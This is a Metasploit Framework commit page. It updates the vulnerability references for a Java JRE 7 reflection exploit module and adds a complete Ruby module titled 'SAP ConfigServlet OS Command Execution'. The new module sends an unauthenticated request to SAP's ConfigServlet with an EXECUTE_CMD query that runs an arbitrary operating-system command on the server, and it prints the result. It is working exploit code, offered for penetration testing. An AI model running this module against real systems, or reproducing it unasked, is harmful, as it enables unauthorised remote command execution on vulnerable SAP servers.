Skip to content

Commit a5c102d

Browse files
committed
Landing rapid7#1753 - Updates references for java_jre17_reflection_types
2 parents a09b3b8 + ece36c0 commit a5c102d

File tree

2 files changed

+77
-1
lines changed

2 files changed

+77
-1
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'SAP ConfigServlet OS Command Execution',
17+
'Description' => %q{
18+
This module allows execution of operating system commands through the SAP
19+
ConfigServlet without any authentication.
20+
},
21+
'Author' =>
22+
[
23+
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
24+
'Andras Kabai' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
30+
[ 'EDB', '24963' ]
31+
],
32+
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
33+
))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(50000),
38+
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
39+
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
40+
], self.class)
41+
end
42+
43+
def run
44+
begin
45+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
46+
uri = normalize_uri(target_uri.path, 'ConfigServlet')
47+
48+
res = send_request_cgi(
49+
{
50+
'uri' => uri,
51+
'method' => 'GET',
52+
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
53+
})
54+
if !res or res.code != 200
55+
print_error("#{rhost}:#{rport} - Exploit failed.")
56+
return
57+
end
58+
rescue ::Rex::ConnectionError
59+
print_error("#{rhost}:#{rport} - Failed to connect to the server")
60+
return
61+
end
62+
63+
if res.body.include?("Process created")
64+
print_good("#{rhost}:#{rport} - Exploited successfully\n")
65+
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
66+
print_line("#{rhost}:#{rport} - Output: #{res.body}")
67+
else
68+
print_error("#{rhost}:#{rport} - Exploit failed.")
69+
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
70+
end
71+
end
72+
end

modules/exploits/multi/browser/java_jre17_reflection_types.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,12 @@ def initialize( info = {} )
3636
],
3737
'References' =>
3838
[
39+
[ 'CVE', '2013-2423' ],
40+
[ 'OSVDB', '92348' ],
41+
[ 'BID', '59162' ],
3942
[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
40-
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ]
43+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ],
44+
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/b453d9be6b3f' ]
4145
],
4246
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
4347
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

0 commit comments

Comments
 (0)